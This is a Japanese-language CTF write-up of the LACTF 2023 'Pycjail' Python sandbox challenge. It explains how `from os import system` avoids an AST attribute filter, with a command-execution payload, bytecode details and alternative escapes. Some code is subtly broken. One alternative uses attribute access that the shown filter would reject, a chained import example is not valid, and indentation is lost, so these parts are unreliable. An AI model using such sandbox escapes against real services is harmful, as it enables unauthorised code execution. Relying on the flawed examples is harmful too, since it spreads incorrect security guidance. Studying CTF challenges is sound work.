pyjail wiki

LACTF 2023 - Pycjail

Challenge

特定の属性アクセスが禁止されているが、import 文は許可されている。

import ast
code = input()
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Attribute):
print("Attribute access not allowed!")
exit()
exec(code)

Solution

IMPORT_FROM = LOAD_ATTR

Python 3.9以降、IMPORT_FROM オペコードは内部的に LOAD_ATTR と同様に動作する。

# from os import system
# 内部的に:
# 1. IMPORT_NAME os (os モジュールをロード)
# 2. IMPORT_FROM system (= LOAD_ATTR system)
# 3. STORE_NAME system

攻撃ペイロード

AST では from X import YImportFrom ノードであり、Attribute ノードではない:

from os import system
system('id')

より複雑なケース

属性のチェーンアクセスが必要な場合:

from os import popen
from popen.__class__ import __bases__
# ... 続く

Technical Details

AST ノードの違い

ast.Attribute
import ast
code1 = "os.system"
print(ast.dump(ast.parse(code1)))
# Attribute(value=Name(id='os'), attr='system')
# import from: ast.ImportFrom
code2 = "from os import system"
print(ast.dump(ast.parse(code2)))
# ImportFrom(module='os', names=[alias(name='system')])

バイトコードレベル

import dis
def f():
from os import system
dis.dis(f)
# LOAD_CONST 0 (0)
# LOAD_CONST 1 (('system',))
# IMPORT_NAME 0 (os)
# IMPORT_FROM 1 (system) <- LOAD_ATTR と同じ動作
# STORE_FAST 0 (system)

Alternative Solutions

別解1: getattr の使用

# getattr も Attribute を生成しない
getattr(__import__('os'), 'system')('id')

別解2: getattribute

__import__('os').__getattribute__('system')('id')

Flag

lactf{...}

References

  • LACTF 2023 Official
  • Python dis module
  • CPython IMPORT_FROM implementation